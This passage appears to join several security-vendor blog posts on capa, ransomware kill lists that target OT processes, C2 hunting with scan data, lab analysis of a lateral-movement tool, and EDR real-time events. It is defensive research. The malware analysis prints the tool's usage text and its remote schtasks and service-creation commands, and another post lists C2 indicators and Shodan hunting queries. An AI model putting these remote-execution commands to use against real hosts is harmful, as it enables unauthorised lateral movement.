patterns of API calls, strings, constants, and other features. With capa, we demonstrate that some of our key analysis conclusions are actually feasible to perform automatically. The tool provides a common yet flexible way to codify expert knowledge and make it available to the entire community. When you run capa, it recognizes features and patterns as a human might, producing high-level conclusions that can drive subsequent investigative steps. For example, when capa recognizes the ability for unencrypted HTTP communication, this might be the hint you need to pivot into proxy logs or other network traces. #### Introducing capa When we run capa against our example program, the tool output in Figure 3 almost speaks for itself. The main table shows all identified capabilities in this sample, with each entry on the left describing a capability. The associated namespace on the right helps to group related capabilities. capa did a fantastic job and described all the program capabilities we’ve discussed in the previous section. Figure 3: capa analysis of PMA Lab 1-1 We find that capa often provides surprisingly good results. That’s why we want capa to always be able to show the evidence used to identify a capability. Figure 4 shows capa’s detailed output for the “create TCP socket” conclusion. Here, we can inspect the exact locations in the binary where capa found the relevant features. We’ll see the syntax of rules a bit later – in the meantime, we can surmise that they’re made up of a logic tree combining low level features. Figure 4: Feature match details for "create TCP socket" rule in example malware #### How capa Works capa consists of two main components that algorithmically triage unknown programs. First, a code analysis engine extracts features from files, such as strings, disassembly, and control flow. Second, a logic engine finds combinations of features that are expressed in a common rule format. When the logic engine finds a match, capa reports on the capability described by the rule. Feature Extraction The code analysis engine extracts low-level features from programs. All the features are consistent with what a human might recognize, such as strings or numbers, and enable capa to explain its work. These features typically fall into two large categories: file features and disassembly features. File features are extracted from the raw file data and its structure, e.g. the PE file header. This is information that you might notice by scrolling across the entire file. Besides the above discussed strings and imported APIs, these include exported function and section names. Disassembly features are extracted from an advanced static analysis of a file – this means disassembling and reconstructing control flow. Figure 5 shows selected disassembly features including API calls, instruction mnemonics, numbers, and string references. Figure 5: Examples of file features in a disassembled code segment of PMA Lab 1-1 Because the advanced analysis can distinguish between functions and other scopes in a program, capa can apply its logic at an appropriate level of detail. For example, it doesn’t get confused when unrelated APIs are used in different functions since capa rules can specify that they should be matched against each function independently. We’ve designed capa with flexible and extendable feature extraction in mind. Additional code analysis backends can be integrated easily. Currently, the capa standalone version relies on the vivisect analysis framework. If you’re using IDA Pro, you can also run capa using the IDAPython backend. Note that sometimes differences among code analysis engines may result in divergent feature sets and hence different results. Fortunately, this usually isn’t a serious problem in practice. capa Rules A capa rule uses a structured combination of features to describe a capability that may be implemented in a program. If all required features are present, capa concludes that the program contains the capability. capa rules are YAML documents that contain metadata and a tree of statements to express their logic. Among other things, the rule language supports logical operators and counting. In Figure 6, the “create TCP socket” rule says that the numbers 6, 1, and 2, and calls to either of the API functions socket or WSASocket must be present in the scope of a single basic block. Basic blocks group assembly code at a very low level making them an ideal place to match tightly related code segments. Besides within basic blocks, capa supports matching at the function and the file level. The function scope ties together all features in a disassembled function, while the file scope contains all features across the entire file. Figure 6: capa rule logic to identify TCP socket creation Figure 7 highlights the rule metadata that enables capa to display high-level, meaningful results to its users. The rule name describes the identified capability while the namespace associates it with a technique or analysis category. We already saw the name and namespace in the capability table of capa’s output. The metadata section can also include fields like author or examples. We use examples to reference files and offsets where we know a capability to be present, enabling unit testing and validation of every rule. Moreover, capa rules serve as great documentation for behaviors seen in real-world malware, so feel free to keep a copy around as a reference. In a future post we will discuss other meta information, including capa’s support for the ATT&CK and the Malware Behavior Catalog frameworks. Figure 7: Rule meta information #### Installation To make using capa as easy as possible, we provide standalone executables for Windows, Linux, and OSX. The tool is written in Python and the source code is available on our GitHub. Additional and up-to-date installation instructions are available in the capa repository. Newer versions of FLARE-VM (available on GitHub) include capa as well. #### Usage To identify capabilities in a program run capa and specify the input file: capa suspicious.exe

capa supports Windows PE files (EXE, DLL, SYS) and shellcode. To run capa on a shellcode file you must explicitly specify the file format and architecture, for example to analyze 32-bit shellcode:

• $capa -f sc32 shellcode.bin To obtain detailed information on identified capabilities, capa supports two additional verbosity levels. To get the most detailed output on where and why capa matched on rules use the very verbose option: •$ capa -vv suspicious.exe

If you only want to focus on specific rules you can use the tag option to filter on fields in the rule meta section:

• $capa -t "create TCP socket" suspicious.exe Display capa’s help to see all supported options and consolidate the documentation: •$ capa -h

#### Contributing

We hope that capa brings value to the community and encourage any type of contribution. Your feedback, ideas, and pull requests are very welcome. The contributing document is a great starting point.

Rules are the foundation of capa’s identification algorithm. We want to make it easy and fun to write them. If you have any rule ideas, please open an issue or even better submit a pull request to capa-rules. This way, everyone can benefit from the collective knowledge of our malware analysis community.

To separate our work and discussions between the capa source code and the supported rules, we use a second GitHub repository for all rules that come embedded within capa. The capa main repository embeds the rule repository as a git submodule. Please refer to the rules repository for further details, including the rule format documentation.

#### Conclusion

In this blog post we have introduced the FLARE team’s newest contribution to the malware analysis community. capa is an open-source framework to encode, recognize, and share behaviors seen in malware. We think that the community needs this type of tool to fight back against the volume of malware that we encounter during investigations, hunting, and triage. Regardless of your background, when you use capa, you invoke decades of cumulative experience to figure out what a program does.

Try out capa in your next malware analysis. The tool is extremely easy to use and can provide valuable information for forensic analysts, incident responders, and reverse engineers. If you enjoy the tool, run into issues using it, or have any other comments, please contact us via the projects GitHub page.

# Financially Motivated Actors Are Expanding Access Into OT: Analysis of Kill Lists That Include OT Processes Used With Seven Malware Families

Mandiant Threat Intelligence has researched and written extensively on the increasing financially motivated threat activity directly impacting operational technology (OT) networks. Some of this research is available in our previous blog posts on industrial post-compromise ransomware and FireEye's approach to OT security. While most of the actors behind this activity likely do not differentiate between IT and OT or have a particular interest in OT assets, they are driven by the goal of making money and have demonstrated the skills needed to operate in these networks. For example, the shift to post-compromise ransomware deployment highlights the actors’ ability to adapt to more complex environments.

In this blog post we look further into this trend by examining two different process kill lists containing OT processes which we have observed deployed alongside a variety of ransomware samples and families. We think it is likely that these lists were the result of coincidental asset scanning in victim organizations and not specific targeting of OT. While this judgement may initially seem like good news to defenders, this activity still indicates that multiple, very prolific, financially motivated threat actors are active inside organizations’ OT—based on the contents of these process kill lists—with the intent of profiting from the ransom of stolen information and disrupted services.

#### Two Unique Process Kill Lists Deployed Alongside Seven Ransomware Families Include OT Processes

Threat actors often deploy process kill lists alongside or as part of ransomware to terminate anti-virus products, stop alternative detection mechanisms, and remove file locks to ensure critical data is encrypted. As a result, the deployment of these lists increases the likelihood of a successful attack (MITRE ATT&CK T1489). In post compromise ransomware attacks, attackers regularly tailor the lists to include processes that are relevant to the victim’s environment. By stopping these processes, the attacker makes sure to encrypt data from critical systems, which may remain unaffected if the process is currently in use. As the likelihood of crippling critical systems increases, the target is more likely to suffer impacts on its physical production.

First Process Kill List Has Been Leveraged By At Least Six Ransomware Families

Mandiant identified samples of at least six ransomware families (DoppelPaymer, LockerGoga, Maze, MegaCortex, Nefilim and SNAKEHOSE)—all of which have been associated with high-profile incidents impacting industrial organizations over the past two years—that have leveraged a common process kill list containing 1,000+ processes. The list, which we briefly discussed in an earlier blog post from February 2020, includes a couple dozen processes related to OT executables—mainly from General Electric Proficy, a suite used for historians and human-machine interfaces (HMIs). We note, that while the inclusion of these processes in this kill list could result in limited loss of view of historical process data, it is not likely to directly impact the operator’s ability to control the physical process itself.

Figure 1: Snippets from “kill.bat” deployed alongside LockerGoga (L) and MegaCortex process kill list (R)

The earliest iteration we identified of the shared kill list was a batch script deployed alongside LockerGoga (MD5: 34187a34d0a3c5d63016c26346371b54) in January 2019 (Figure 1). Other iterations of the list we have observed are also hardcoded directly into the ransomware binaries. The different techniques used to deploy the process kill list, the use of different malware families, and slight variations between each list iteration (mainly typos in the processes, e.g.: a2guard.exea2start.exe; nexe; proficyclient.exe) indicate that likely more than one actor had access to the true source of the process kill list. This source could be for example a post of processes shared on a dark web forum, or an independent actor sharing the compiled list with other actors.

We think it is likely that the OT processes identified in this list simply represent the coincidental output of automated process collection from victim environment(s) and not a targeted effort to impact OT. This is supported by the relatively limited and specific selection of OT-related processes, rather than a broader selection of many vendors and OT-related processes that would have been suggestive of targeted external research. Regardless, this does not downplay the significance of the inclusion of OT processes in the list, as it suggests that sophisticated financially motivated actors, such as FIN6, have had at least some visibility into a victim’s OT network. As a result, the actors were able to tailor their malware to impact those systems, without the explicit intent to target OT assets.

Most types of ransomware attacks in OT environments will result in the disruption of services and a temporary loss of view into current and historical process data. However, OT environments impacted by a ransomware that leverages this kill list and happen to be running one or more of the processes used by the initial victim(s)—and therefore are included on the list—may face additional impacts. For example, historian databases would be more likely to be encrypted, possibly resulting in loss of historical data. Other impacts could include gaps in the collection of process data corresponding to the duration of the outage and temporary loss of access to licensing rights for critical services.

Second List Deployed Alongside CLOP Ransomware Sample Has a Higher Chance of Impacting OT Systems

Mandiant analyzed a second, entirely unrelated sample of ransomware (MD5: 3b980d2af222ec909b948b6bbdd46319) from the CLOP family with a hardcoded list for enumeration and termination of processes that includes a number of OT strings. The list contains over 1,425 processes, from which at least 150 belong to OT-related software suites (Figure 2 and Appendix).

Based on our analysis, the CLOP malware family’s process kill list has grown over time possibly as more processes are scanned during different compromises. While we do not currently hold enough information to describe the exact mechanism used by the actor to grow the list, it appears to have resulted from actor reconnaissance across multiple victims. We have observed the threat actor employing process discovery procedures, including running the tasklist utility. This indicates that the actor scanned for processes in at least one victim’s OT network(s) before deploying the ransomware.

Figure 2: Subset of processes in observed CLOP sample

CLOP is also interesting as we have only observed a single unique and very prolific financially motivated threat actor leveraging the malware family. The group, who has been active since at least 2016 and potentially as early as 2014, is known for operating large phishing campaigns to distribute malware and typically monetizes intrusions through ransomware deployment. As highlighted by their versatility and long history in financially motivated intrusions, the actor’s activity in OT networks is likely no more than an additional step in the process for monetization. However, the financial motivations of the actor again do not imply low risk to OT. Instead, our analysis of the CLOP sample’s kill list indicates that the included processes actually have greater potential to disrupt OT systems than those included in the shared list described above.

Unlike the first kill list, the CLOP sample includes a list of processes that, if stopped, may directly impact the operator’s ability to both visualize and control production. This is especially true in the case of some included processes that support HMI and PLC supervision. Some of the OT processes present in the CLOP sample are related to the following products:

 Vendor Product Description Siemens SIMATIC WinCC SCADA system, common for process control and automation. Beckhoff TwinCAT Software for PC-based process control and automation. National Instruments Data Acquisition Software (DAQ) Software used to acquire data from sensors and conditioning devices. Kepware KEPServer EX Software platform that collects information from industrial devices and sends the output to SCADA applications. OPC Unified Architecture (OPC-UA) N/A Communication protocol for data acquisition and exchange between industrial equipment and enterprise systems.

Table 1: Examples of products related to OT processes included in identified CLOP kill list

While it is likely the physical processes this software controls would continue to operate even if the software processes were terminated unexpectedly, stopping the software processes included in the CLOP sample’s kill list could result in the loss of view/control over those physical processes due to the inability of operators to interact with the equipment. This can be caused not only by the ransomware’s disruption of intermediary systems, but also by the loss of access to relevant files on HMIs/EWS required for the operation of process control and monitoring software–for example configurations or project files. This could prolong the mean time to recovery (MTTR) of impacted environments without offline backups. In the CLOP sample list, we also identified specialized processes for software application design and testing that may also become corrupted at the time of encryption.

#### Process Kill Lists Are Just An Observable Indicating Broader Financially Motivated Interest In OT

Financially motivated threat actors leverage a large variety of tactics and techniques to obtain data that they can later use to generate profits. While financial actors have historically posed little to no threat to OT systems, the recent uptick in ransomware and extortion incidents highlights that industrial operations are increasingly at risk. Although we have not observed any financially motivated actors explicitly targeting OT systems, our research into process kill lists deployed with or alongside ransomware samples shows that at least two sophisticated financial actors have expanded their access into OT networks during their regular intrusions.

This increasing exposure of OT to financially motivated threat activity is no surprise, given that TTPs used by cybercriminals increasingly resemble those employed by sophisticated actors. We have consistently conveyed this message since at least 2018, when we publicly discussed the commodity and custom IT tools leveraged by the TRITON attacker while traversing through its targets’ networks (Figure 3). The likelihood of financially motivated actors impacting OT while seeking to monetize intrusions will continue to rise for the following reasons:

Figure 3: TTPs seen across both IT and OT incidents

• Financially-motivated threat actors moving to a post-compromise ransomware model will continue to evolve and find ways to reach the most critical systems of organizations as part of their mission of monetization. As these actors are mainly driven by profits, they are not likely to differentiate between IT and OT assets.
• OT organizations will continue to struggle to evolve at the same pace as cyber criminals. As a result, small weaknesses such as misconfigurations, exposed vulnerabilities or improper segmentation will be enough for financial actors to gain access to networks in their attempts to profit from intrusions.
• As the market for OT solutions continues to incorporate IT services and features into broadly adopted products, we expect the convergence of technologies to result in a broader attack surface for financial threat actors to target.
• The TTPs employed by both financial and sophisticated nation-state actors often rely on intermediary systems as stepping stones through intrusions. As a result, the skills of both groups hold similar potential of reaching OT systems even when financial groups may only do so coincidentally or as part of their monetization strategy.

#### Outlook

As OT networks continue to become more accessible to threat actors of all motivations, security threats that have historically impacted primarily IT are becoming more commonplace. This normalization of OT as just another network from the threat actor perspective is problematic for defenders for many of the reasons discussed above. This recent threat activity should be taken as a wake-up call for two main reasons: the various security challenges commonly faced by organizations to protect OT networks, and the significant consequences that may arise from security compromises even when they are not explicitly designed to target production systems. Asset owners need to look at OT security with the mindset that it is not if you will have a breach, but when. This shift in thinking will allow defenders to better prepare to respond when an incident does happen, and can help reduce the impact of an incident by orders of magnitude.

# SCANdalous! (External Detection Using Network Scan Data and Automation)

#### Real Quick

In case you’re thrown by that fantastic title, our lawyers made us change the name of this project so we wouldn’t get sued. SCANdalous—a.k.a. Scannah Montana a.k.a. Scanny McScanface a.k.a. “Scan I Kick It? (Yes You Scan)”—had another name before today that, for legal reasons, we’re keeping to ourselves. A special thanks to our legal team who is always looking out for us, this blog post would be a lot less fun without them. Strap in folks.

#### Introduction

Advanced Practices is known for using primary source data obtained through Mandiant Incident Response, Managed Defense, and product telemetry across thousands of FireEye clients. Regular, first-hand observations of threat actors afford us opportunities to learn intimate details of their modus operandi. While our visibility from organic data is vast, we also derive value from third-party data sources. By looking outwards, we extend our visibility beyond our clients’ environments and shorten the time it takes to detect adversaries in the wild—often before they initiate intrusions against our clients.

In October 2019, Aaron Stephens gave his “Scan’t Touch This” talk at the annual FireEye Cyber Defense Summit (slides available on his Github). He discussed using network scan data for external detection and provided examples of how to profile command and control (C2) servers for various post-exploitation frameworks used by criminal and intelligence organizations alike. However, manual application of those techniques doesn’t scale. It may work if your role focuses on one or two groups, but Advanced Practices’ scope is much broader. We needed a solution that would enable us to track thousands of groups, malware families and profiles. In this blog post we’d like to talk about that journey, highlight some wins, and for the first time publicly, introduce the project behind it all: SCANdalous.

#### Pre-SCANdalous Case Studies

Prior to any sort of system or automation, our team used traditional profiling methodologies to manually identify servers of interest. The following are some examples. The success we found in these case studies served as the primary motivation for SCANdalous.

APT39 SSH Tunneling

After observing APT39 in a series of intrusions, we determined they frequently created Secure Shell (SSH) tunnels with PuTTY Link to forward Remote Desktop Protocol connections to internal hosts within the target environment. Additionally, they preferred using BitVise SSH servers listening on port 443. Finally, they were using servers hosted by WorldStream B.V.

Independent isolation of any one of these characteristics would produce a lot of unrelated servers; however, the aggregation of characteristics provided a strong signal for newly established infrastructure of interest. We used this established profile and others to illuminate dozens of servers we later attributed to APT39, often before they were used against a target.

In February 2018, an independent researcher shared a sample of what would later be named QUADAGENT. We had not observed it in an intrusion yet; however, by analyzing the characteristics of the C2, we were able to develop a strong profile of the servers to track over time. For example, our team identified the server 185.161.208\.37 and domain rdppath\.com within hours of it being established. A week later, we identified a QUADAGENT dropper with the previously identified C2. Additional examples of QUADAGENT are depicted in Figure 1.

Figure 1: QUADAGENT C2 servers in the Shodan user interface

Five days after the QUADAGENT dropper was identified, Mandiant was engaged by a victim that was targeted via the same C2. This activity was later attributed to APT34. During the investigation, Mandiant uncovered APT34 using RULER.HOMEPAGE. This was the first time our consultants observed the tool and technique used in the wild by a real threat actor. Our team developed a profile of servers hosting HOMEPAGE payloads and began tracking their deployment in the wild. Figure 2 shows a timeline of QUADAGENT C2 servers discovered between February and November of 2018.

Figure 2: Timeline of QUADAGENT C2 servers discovered throughout 2018

APT33 RULER.HOMEPAGE, POSHC2, and POWERTON

A month after that aforementioned intrusion, Managed Defense discovered a threat actor using RULER.HOMEPAGE to download and execute POSHC2. All the RULER.HOMEPAGE servers were previously identified due to our efforts. Our team developed a profile for POSHC2 and began tracking their deployment in the wild. The threat actor pivoted to a novel PowerShell backdoor, POWERTON. Our team repeated our workflow and began illuminating those C2 servers as well. This activity was later attributed to APT33 and was documented in our OVERRULED post.

#### SCANdalous

Scanner, Better, Faster, Stronger

Our use of scan data was proving wildly successful, and we wanted to use more of it, but we needed to innovate. How could we leverage this dataset and methodology to track not one or two, but dozens of active groups that we observe across our solutions and services? Even if every member of Advanced Practices was dedicated to external detection, we would still not have enough time or resources to keep up with the amount of manual work required. But that’s the key word: Manual. Our workflow consumed hours of individual analyst actions, and we had to change that. This was the beginning of SCANdalous: An automated system for external detection using third-party network scan data.

A couple of nice things about computers: They’re great at multitasking, and they don’t forget. The tasks that were taking us hours to do—if we had time, and if we remembered to do them every day—were now taking SCANdalous minutes if not seconds. This not only afforded us additional time for analysis, it gave us the capability to expand our scope. Now we not only look for specific groups, we also search for common malware, tools and frameworks in general. We deploy weak signals (or broad signatures) for software that isn’t inherently bad, but is often used by threat actors.

Our external detection was further improved by automating additional collection tasks, executed by SCANdalous upon a discovery—we call them follow-on actions. For example, if an interesting open directory is identified, acquire certain files. These actions ensure the team never misses an opportunity during “non-working hours.” If SCANdalous finds something interesting on a weekend or holiday, we know it will perform the time-sensitive tasks against the server and in defense of our clients.

The data we collect not only helps us track things we aren’t seeing at our clients, it allows us to provide timely and historical context to our incident responders and security analysts. Taking observations from Mandiant Incident Response or Managed Defense and distilling them into knowledge we can carry forward has always been our bread and butter. Now, with SCANdalous in the mix, we can project that knowledge out onto the Internet as a whole.

Collection Metrics

Looking back on where we started with our manual efforts, we’re pleased to see how far this project has come, and is perhaps best illustrated by examining the numbers. Today (and as we write these continue to grow), SCANdalous holds over five thousand signatures across multiple sources, covering dozens of named malware families and threat groups. Since its inception, SCANdalous has produced over two million hits. Every single one of those, a piece of contextualized data that helps our team make analytical decisions. Of course, raw volume isn’t everything, so let’s dive a little deeper.

When an analyst discovers that an IP address has been used by an adversary against a named organization, they denote that usage in our knowledge store. While the time at which this observation occurs does not always correlate with when it was used in an intrusion, knowing when we became aware of that use is still valuable. We can cross-reference these times with data from SCANdalous to help us understand the impact of our external detection.

Looking at the IP addresses marked by an analyst as observed at a client in the last year, we find that 21.7% (more than one in five) were also found by SCANdalous. Of that fifth, SCANdalous has an average lead time of 47 days. If we only consider the IP addresses that SCANdalous found first, the average lead time jumps to 106 days. Going even deeper and examining this data month-to-month, we find a steady upward trend in the percentage of IP addresses identified by SCANdalous before being observed at a client (Figure 3).

Figure 3: Percentage of IP addresses found by SCANdalous before being marked as observed at a client by a FireEye analyst

A similar pattern can be seen for SCANdalous’ average lead time over the same data (Figure 4).

Figure 4: Average lead time in days for SCANdalous over the same data shown in Figure 3

As we continue to create signatures and increase our external detection efforts, we can see from these numbers that the effectiveness and value of the resulting data grow as well.

#### SCANdalous Case Studies

Today in Advanced Practices, SCANdalous is a core element of our external detection work. It has provided us with a new lens through which we can observe threat activity on a scale and scope beyond our organic data, and enriches our workflows in support of Mandiant. Here are a few of our favorite examples:

FIN6

In early 2019, SCANdalous identified a Cobalt Strike C2 server that we were able to associate with FIN6. Four hours later, the server was used to target a Managed Defense client, as discussed in our blog post, Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware.

FIN7

In late 2019, SCANdalous identified a BOOSTWRITE C2 server and automatically acquired keying material that was later used to decrypt files found in a FIN7 intrusion worked by Mandiant consultants, as discussed in our blog post, Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques.

UNC1878 (financially motivated)

Some of you may also remember our recent blog post on UNC1878. It serves as a great case study for how we grow an initial observation into a larger set of data, and then use that knowledge to find more activity across our offerings. Much of the early work that went into tracking that activity (see the section titled “Expansion”) happened via SCANdalous. The quick response from Managed Defense gave us just enough information to build a profile of the C2 and let our automated system take it from there. Over the next couple months, SCANdalous identified numerous servers matching UNC1878’s profile. This allowed us to not only analyze and attribute new network infrastructure, it also helped us observe when and how they were changing their operations over time.

#### Conclusion

There are hundreds more stories to tell, but the point is the same. When we find value in an analytical workflow, we ask ourselves how we can do it better and faster. The automation we build into our tools allows us to not only accomplish more of the work we were doing manually, it enables us to work on things we never could before. Of course, the conversion doesn’t happen all at once. Like all good things, we made a lot of incremental improvements over time to get where we are today, and we’re still finding ways to make more. Continuing to innovate is how we keep moving forward – as Advanced Practices, as FireEye, and as an industry.

#### Example Signatures

The following are example Shodan queries; however, any source of scan data can be used.

Used to Identify APT39 C2 Servers

• product:“bitvise” port:“443” org:“WorldStream B.V.”

Used to Identify QUADAGENT C2 Servers

• “PHP/7.2.0beta2”

• html:“clsid:0006F063-0000-0000-C000-000000000046”

# Configuring a Windows Domain to Dynamically Analyze an Obfuscated Lateral Movement Tool

We recently encountered a large obfuscated malware sample that offered several interesting analysis challenges. It used virtualization that prevented us from producing a fully-deobfuscated memory dump for static analysis. Statically analyzing a large virtualized sample can take anywhere from several days to several weeks. Bypassing this time-consuming step presented an opportunity for collaboration between the FLARE reverse engineering team and the Mandiant consulting team which ultimately saved many hours of difficult reverse engineering.

We suspected the sample to be a lateral movement tool, so we needed an appropriate environment for dynamic analysis. Configuring the environment proved to be essential, and we want to empower other analysts who encounter samples that leverage a domain. Here we will explain the process of setting up a virtualized Windows domain to run the malware, as well as the analysis techniques we used to confirm some of the malware functionality.

#### Preliminary Analysis

When analyzing a new malware sample, we begin with basic static analysis, where we can often get an idea of what type of sample it is and what it’s capabilities might be. We can use this to inform the subsequent stages of the analysis process and focus on the relevant data. We begin with a Portable Executable analysis tool such as CFF Explorer. In this case, we found that the sample is quite large at 6.64 MB. This usually indicates that the sample includes statically linked libraries such as Boost or OpenSSL, which can make analysis difficult.

Additionally, we noticed that the import table includes eight dynamically linked DLLs with only one imported function each as shown in Figure 1. This is a common technique used by packers and obfuscators to import DLLs that can later be used for runtime linking, without exposing the actual APIs used by the malware.

Figure 1: Suspicious imports

Our strings analysis confirmed our suspicion that the malware would be difficult to analyze statically. Because the file is so large, there were over 75,000 strings to consider. We used StringSifter to rank the strings according to relevance to malware analysis, but we did not identify anything useful. Figure 2 shows the most relevant strings according to StringSifter.

Figure 2: StringSifter output

When we encounter these types of obstacles, we can often turn to dynamic analysis to reveal the malware's behavior. In this case, our basic dynamic analysis provided hope. Upon execution the sample printed a usage statement:

 Usage: evil.exe [/P:str] [/S[:str]] [/B:str] [/F:str] [/C] [/L:str] [/H:str] [/T:int] [/E:int] [/R]    /P:str -- path to payload file.    /S[:str] -- share for reverse copy.    /B:str -- path to file to load settings from.    /F:str -- write log to specified file.    /C -- write log to console.    /L:str -- path to file with host list.    /H:str -- host name to process.    /T:int -- maximum number of concurrent threads.    /E:int -- number of seconds to delay before payload deletion (set to 0 to avoid remove).    /R -- remove payload from hosts (/P and /S will be ignored). If /S specifed without value, random name will be used. /L and /H can be combined and specified more than once. At least one must present. /B will be processed after all other flags and will override any specified values (if any). All parameters are case sensetive.

Figure 3: Usage statement

We attempted to unpack the sample by suspending the process and dumping the memory. This proved difficult as the malware exited almost instantly and deleted itself. We eventually managed to produce a partially-unpacked memory dump by using the commands in Figure 4.

 sleep 2 && evil.exe /P:"C:\Windows\System32\calc.exe" /E:1000 /F:log.txt /H:some_host

Figure 4: Commands executed to run binary

We chose an arbitrary payload file and a large interval for payload deletion. We also provided a log filename and a hostname for payload execution. These parameters were designed to force a slower execution time so we could suspend the process before it terminated.

We used Process Dump to produce a memory snapshot after the two second delay. Unfortunately, virtualization still hindered static analysis and our sample remained mostly obfuscated, but we did manage to extract some strings which provided the breakthrough we needed.

Figure 5 shows some of the interesting strings we encountered that were not present in the original binary.

 dumpedswaqp.exe psxexesvc schtasks.exe /create /tn "%s" /tr "%s" /s "%s" /sc onstart /ru system /f schtasks.exe /run /tn "%s" /s "%s" schtasks.exe /delete /tn "%s" /s "%s" /f ServicesActive Payload direct-copied Payload reverse-copied Payload removed Task created Task executed Task deleted SM opened Service created Service started Service stopped Service removed Total hosts: %d, Threads: %d SHARE_%c%c%c%c Share "%s" created, path "%s" Share "%s" removed Error at hooking API "%S" Dumping first %d bytes: DllRegisterServer DllInstall register install

Figure 5: Strings output from memory dump

Based on the analysis thus far, we suspected remote system access. However, we were unable to confirm our suspicions without providing an environment for lateral movement. To expedite analysis, we created a virtualized Windows domain.

This requires some configuration, so we have documented the process here to aid others when using this analysis technique.

#### Building a Test Environment

In the test environment, make sure to have clean Windows 10 and Windows Server 2016 (Desktop Experience) virtual machines installed. We recommend creating two Windows Server 2016 machines so the Domain Controller can be separated from the other test systems.

In VMware Virtual Network Editor on the host system, create a custom network with the following settings:

• Under VMNet Information, select the “Host-only” radio button.
• Ensure that “Connect a host virtual adapter” is disabled to prevent connection to the outside world.
• Ensure that the “Use local DHCP service” option is disabled if static IP addresses will be used.

This is demonstrated in Figure 6.

Figure 6: Virtual network adapter configuration

Then, configure the guests’ network adapters to connect to this network.

• Configure hostnames and static IP addresses for the virtual machines.
• Choose the domain controller IP as the default gateway and DNS server for all guests.

We used the system configurations shown in Figure 7.

Figure 7: Example system configurations

Once everything is configured, begin by installing Active Directory Domain Services and DNS Server roles onto the designated domain controller server. This can be done by selecting the options shown in Figure 8 via the Windows Server Manager application. The default settings can be used throughout the dialog as roles are added.

Figure 8: Roles needed on domain controller

Once the roles are installed, run the promotion operation as demonstrated in Figure 9. The promotion option is accessible through the notifications menu (flag icon) once the Active Directory Domain Services role is added to the server. Add a new forest with a fully qualified root domain name such as testdomain.local. Other options may be left as default. Once the promotion process is complete, reboot the system.

Figure 9: Promoting system to domain controller in Server Manager

Once the domain controller is promoted, create a test user account via Active Directory Users and Computers on the domain controller. An example is shown in Figure 10.

Figure 10: Test user account

Once the test account is created, proceed to join the other systems on the virtual network to the domain. This can be done through Advanced System Settings as shown in Figure 11. Use the test account credentials to join the system to the domain.

Figure 11: Configure the domain name for each guest

Once all systems are joined to the domain, verify that each system can ping the other systems. We recommend disabling the Windows Firewall in the test environment to ensure that each system can access all available services of another system in the test environment.

Give the test account administrative rights on all test systems. This can be done by modifying the local administrator group on each system manually with the command shown in Figure 12 or automated through a Group Policy Object (GPO).

#### Dynamic Analysis on the Domain

At this point, we were ready to begin our dynamic analysis. We prepared our test environment by installing and launching Wireshark and Process Monitor. We took snapshots of all three guests and ran the malware in the context of the test domain account on the client as shown in Figure 13.

 evil.exe /P:"C:\Windows\System32\calc.exe" /L:hostnames.txt /F:log.txt /S /C

Figure 13: Command used to run the malware

We populated the hostnames.txt file with the following line-delimited hostnames as demonstrated in Figure 14.

 DBPROD.testdomain.local client.testdomain.local DC.testdomain.local

Figure 14: File contents of hostnames.txt

#### Packet Capture Analysis

Upon analyzing the traffic in the packet capture, we identified SMB connections to each system in the host list. Before the SMB handshake completed, Kerberos tickets were requested. A ticket granting ticket (TGT) was requested for the user, and service tickets were requested for each server as seen in Figure 15. To learn more about the Kerberos authentication protocol, please see our recent blog post that introduces the protocol along with a new Mandiant Red Team tool.

Figure 15: Kerberos authentication process

The malware accessed the C$share over SMB and wrote the file C:\Windows\swaqp.exe. It then used RPC to launch SVCCTL, which is used to register and launch services. SVCCTL created the swaqpd service. The service was used to execute the payload and then was subsequently deleted. Finally, the file was deleted, and no additional activity was observed. The traffic is shown in Figure 16. Figure 16: Malware behavior observed in packet capture Our analysis of the malware behavior with Process Monitor confirmed this observation. We then proceeded to run the malware with different command line options and environments. Combined with our static analysis, we were able to determine with confidence the malware capabilities, which include copying a payload to a remote host, installing and running a service, and deleting the evidence afterward. #### Conclusion Static analysis of a large, obfuscated sample can take dozens of hours. Dynamic analysis can provide an alternate solution, but it requires the analyst to predict and simulate a proper execution environment. In this case we were able to combine our basic analysis fundamentals with a virtualized Windows domain to get the job done. We leveraged the diverse skills available to FireEye by combining FLARE reverse engineering expertise with Mandiant consulting and Red Team experience. This combination reduced analysis time to several hours. We supported an active incident response investigation by quickly extracting the necessary indicators from the compromised host. We hope that sharing this experience can assist others in building their own environment for lateral movement analysis. # Using Real-Time Events in Investigations To understand what a threat actor did on a Windows system, analysts often turn to the tried and true sources of historical endpoint artifacts such as the Master File Table (MFT), registry hives, and Application Compatibility Cache (AppCompat). However, these evidence sources were not designed with detection or incident response in mind; crucial details may be omitted or cleared through anti-forensic methods. By looking at historical evidence alone, an analyst may not see the full story. Real-time events can be thought of as forensic artifacts specifically designed for detection and incident response, implemented through Enterprise Detection and Response (EDR) solutions or enhanced logging implementations like Sysmon. During active-attacker endpoint investigations, FireEye Mandiant has found real-time events to be useful in filling in the gaps of what an attacker did. These events record different types of system activities such as process execution, file write activity, network connections, and more. During incident response engagements, Mandiant uses FireEye Endpoint Security to track endpoint system events in real-time. This feature allows investigators to track an attacker on any system by alerting on and reviewing these real-time events. An analyst can use our solution’s built-in Audit Viewer or Redline to review real-time events. Let’s look at some examples of Windows real-time events available on our solution and how they can be leveraged during an investigation. Let’s assume the account TEST-DOMAIN\BackupAdmin was an inactive Administrator account compromised by an attacker. Please note the examples provided in this post are based on real-time events observed during engagements but have been recreated or altered to preserve client confidentiality. #### Process Execution Events There are many historical process execution artifacts including AppCompat, AmCache, WMI CCM_RecentlyUsedApps, and more. A single artifact rarely covers all the useful details relating to a process's execution, but real-time process execution events change that. Our solution’s real-time process execution events record execution time, full process path, process identification number (PID), parent process path, parent PID, user, command line arguments, and even the process MD5 hash. Table 1 provides an example of a real-time process execution event recorded by our solution.  Field Example Timestamp (UTC) 2020-03-10 16:40:58.235 Sequence Number 2879512 PID 9392 Process Path C:\Windows\Temp\legitservice.exe Username TEST-DOMAIN\BackupAdmin Parent PID 9103 Parent Process Path C:\Windows\System32\cmd.exe EventType Start ProcessCmdLine "C:\Windows\Temp\legitservice.exe" -b -m Process MD5 Hash a823bc31395539816e8e4664e884550f Table 1: Example real-time process execution event Based on this real-time process execution event, the process C:\Windows\System32\cmd.exe with PID 9103 executed the file C:\Windows\Temp\legitservice.exe with PID 9392 and the MD5 hash a823bc31395539816e8e4664e884550f. This new process used the command line arguments -b -m 